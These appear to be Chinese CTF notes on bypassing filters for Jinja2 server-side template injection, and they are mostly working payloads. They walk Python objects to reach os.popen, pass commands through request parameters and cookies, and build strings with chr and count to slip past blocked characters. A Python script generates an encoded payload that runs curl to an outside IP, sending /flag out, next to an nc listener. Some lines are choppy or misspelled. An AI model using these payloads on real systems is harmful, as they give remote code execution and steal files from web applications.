参考文章
url: https://blog.csdn.net/miuzzx/article/details/110220425
title: "SSTI模板注入绕过(进阶篇)_ssti 绕过-CSDN博客"
description: "文章浏览阅读1.6w次,点赞66次,收藏148次。文章目录语法变量过滤器总结获取内置方法 以chr为例字符串构造获取键值或下标获取属性下面的内容均以jinja2为例,根据官方文档来探寻绕过方法文档链接默认大家都已经可以利用没有任何过滤的模板注入语法官方文档对于模板的语法介绍如下{% ... %} for Statements {{ ... }} for Expressions to print to the template output{# ... #} for Comments not included in the templat_ssti 绕过"
host: blog.csdn.net
url: https://www.cnblogs.com/tuzkizki/p/15394415.html
title: "Python SSTI漏洞学习总结 - Tuzkizki - 博客园"
description: "什么是SSTI? SSTI(Server Side Template Injection,服务器端模板注入),而模板指的就是Web开发中所使用的模板引擎。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。 服务器端使用模板,通过模板引擎对数"
host: www.cnblogs.com
{{''.__class__.__base__.__subclasses__()}}
先看可以用哪些类
<class 'os._wrap_close'>
这里需要减去1,因为从原则上来说这里是从0开始的。所以我们是选择132{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}
查找popen
读取flag
.popen('tac /flag')
显示
这个表示这个命令已经执行了
但是利用system是无回显的
这里加上popen的自带函数.read()就可以获取回显内容
.popen('tac /flag').read()
这题还可以用列表的方式 将前面的' ' 换成了[]
后面的.popen 换成了['popen']
config不需要写索引,它获取的就是当前页面的
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
'os'
和'cat /flag'
变成用request传参[request.args.a]
request.args.b
?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
?name=url_for:{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat /flag
lipsum:{{lipsum.__globals__['os'].popen('calc')}}
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
或者
{{config.__class__.__init__.__globals__['os'].popen('calc')}}
?name={{config.[reqeust.values.x].[reqeust.values.xx].[reqeust.values.xxx][[reqeust.values.xxxx]].popen([reqeust.values.xxxxx]).raad()}}&x=_class_&xx=_init_&xxx=_globals_&xxxx=os&xxxxx=cat /flag
?name={{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
cookie=a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
使用{% %}
绕过
{% + print
绕过
?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=ls
?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /f*
对比366
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
os
替换为 get(request.values.c)
{{
->{%+print
}}
->%}
?name={%+print(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read()%}&a=__globals__&b=cat /flag&c=os
{%%}
所以说可以执行代码,然后通过拼接字符赋值给变量,组成我们想要的内容?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
复杂解法1、读文件盲注
file:D:/ctf_scripts/SSTI/读文件盲注.py
复杂解法2:反弹shell
电脑开启监听 nc -lvp 4567
http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}
cmd后面的值用脚本生成
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}
用命令生成脚本写一个__import__('os').system('curl eastjun.top?
cat /flag')
到cmd的位置
def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://8.218.147.169:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))
?name=
{% set c=(t|length)%}
{% set cc=(dict(e=a)|join|length)%}
{% set ccc=(dict(ee=a)|join|length)%}
{% set cccc=(dict(eee=a)|join|length)%}
{% set ccccc=(dict(eeee=a)|join|length)%}
{% set cccccc=(dict(eeeee=a)|join|length)%}
{% set ccccccc=(dict(eeeeee=a)|join|length)%}
{% set cccccccc=(dict(eeeeeee=a)|join|length)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}